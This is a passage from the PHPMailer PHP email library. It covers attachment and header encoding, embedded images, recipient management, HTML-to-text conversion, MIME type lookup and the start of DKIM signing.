                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
